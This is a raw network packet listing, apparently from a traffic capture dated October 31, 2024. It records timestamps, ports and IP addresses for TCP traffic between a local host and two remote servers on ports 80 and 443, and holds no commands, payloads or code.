Oct 31, 2024 05:07:18.530175924 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.530188084 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.530199051 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.530210018 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.530215025 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.530236006 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.530256987 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.563318968 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.563334942 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.563348055 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.563360929 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.563378096 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.563406944 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.563442945 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.563484907 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.563517094 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.563533068 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.563544989 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.563559055 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.563580036 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.608850956 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.608864069 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.608874083 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.608901978 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.608927011 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.648746967 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.648760080 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.648777008 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.648787022 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.648797989 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.648814917 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.648828030 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.648839951 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.648857117 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.648868084 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.648988008 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.649439096 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.649451017 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.649470091 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.649493933 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.649528027 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.682267904 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.682312012 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.682348013 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.682360888 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.682372093 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.682383060 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.682393074 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.682421923 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.682634115 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.682646036 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.682663918 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.682674885 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.682674885 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.682682991 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.682697058 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.682720900 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.727885008 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.727897882 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.727907896 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.727932930 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.727979898 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.767505884 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.767532110 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.767549038 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.767554998 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.767560959 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.767569065 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.767574072 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.767585993 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.767605066 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.767616987 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.767802954 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.767848969 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.767858982 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.767875910 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.767895937 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.767896891 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.767908096 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.767909050 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.767921925 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.767934084 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.767934084 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.767951965 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.767971039 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.768774033 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.768821955 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.801430941 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.801444054 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.801455975 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.801466942 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.801477909 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.801481009 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.801518917 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.801670074 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.801681995 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.801692963 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.801706076 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.801717997 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.801743984 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.802115917 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.802134037 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.802159071 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.802171946 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.846863031 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.846884966 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.846895933 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.847063065 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.847063065 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.886440992 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.886554003 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.886564970 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.886569977 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.886603117 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.886616945 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.886627913 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.886639118 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.886657000 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.886657953 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.886657953 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.886657953 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.886691093 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.886717081 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.887435913 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.887455940 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.887465000 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.887485027 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.887520075 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.887650967 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.887661934 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.887671947 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.887701035 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.887712955 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.920387983 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.920398951 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.920581102 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.920648098 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.920660019 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.920670986 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.920681000 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.920692921 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.920703888 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.920705080 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.920723915 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.920748949 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.921236992 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.921247959 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.921258926 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.921288013 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.921300888 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.964081049 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.964093924 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.964099884 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.964107037 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.964287043 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.965719938 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.965783119 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.965807915 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.965821028 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.965843916 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.965861082 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.965878010 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.005830050 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.005846977 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.005858898 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.005870104 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.005881071 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.006006002 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.006006002 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.006290913 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.006303072 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.006313086 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.006340027 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.006351948 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.006365061 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.006376028 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.006386995 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.006398916 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.006412983 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.006441116 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.006999016 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.007046938 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.039608955 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.039618969 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.039634943 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.039647102 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.039658070 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.039669037 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.039839029 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.039839029 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.040043116 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.040092945 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.040116072 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.040128946 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.040141106 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.040152073 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.040163994 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.040195942 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.082801104 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.082815886 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.082856894 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.082866907 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.082876921 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.083045006 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.084789991 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.084816933 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.084839106 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.084867954 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.084875107 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.084884882 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.084937096 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.124922991 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.124936104 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.124946117 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.124969959 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.124980927 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.124989033 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.124994040 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.125005007 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.125009060 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.125029087 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.125045061 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.125370979 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.125391960 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.125402927 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.125435114 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.125464916 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.125718117 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.125730038 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.125745058 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.125771999 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.125790119 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.158516884 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.158564091 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.158581018 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.158593893 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.158607006 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.158617020 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.158627987 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.158639908 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.158667088 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.158852100 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.158863068 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.158879042 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.158893108 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.158898115 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.158905983 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.158914089 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.158929110 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.158936977 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.158957005 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.159507990 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.159519911 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.159531116 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.159559965 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.159576893 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.201944113 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.201957941 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.201968908 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.201993942 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.202012062 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.203923941 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.203936100 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.203946114 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.203975916 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.204004049 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.206964016 CET	443	49866	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:19.207062960 CET	443	49866	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:19.207189083 CET	49866	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:19.207216024 CET	49866	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:19.244260073 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.244273901 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.244290113 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.244297981 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.244303942 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.244309902 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.244316101 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.244339943 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.244366884 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.244435072 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.244482994 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.244487047 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.244554996 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.244565964 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.244577885 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.244579077 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.244590998 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.244601965 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.244616985 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.244643927 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.277828932 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.277847052 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.277858973 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.277868986 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.277880907 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.277888060 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.277906895 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.277936935 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.278049946 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.278070927 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.278090954 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.278098106 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.278100967 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.278112888 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.278146982 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.278537035 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.278599977 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.278624058 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.278641939 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.278683901 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.278701067 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.278714895 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.278727055 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.278747082 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.278754950 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.313328981 CET	49874	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:19.313436031 CET	443	49874	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:19.313565969 CET	49874	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:19.313872099 CET	49874	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:19.313910961 CET	443	49874	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:19.320784092 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.320795059 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.320861101 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.320893049 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.320903063 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.320951939 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.322879076 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.322890043 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.322900057 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.322937965 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.322966099 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.363085032 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.363102913 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.363112926 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.363233089 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.363249063 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:19.363271952 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.363271952 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.363297939 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:19.363297939 CET	49851	80	192.168.2.4	185.215.113.16
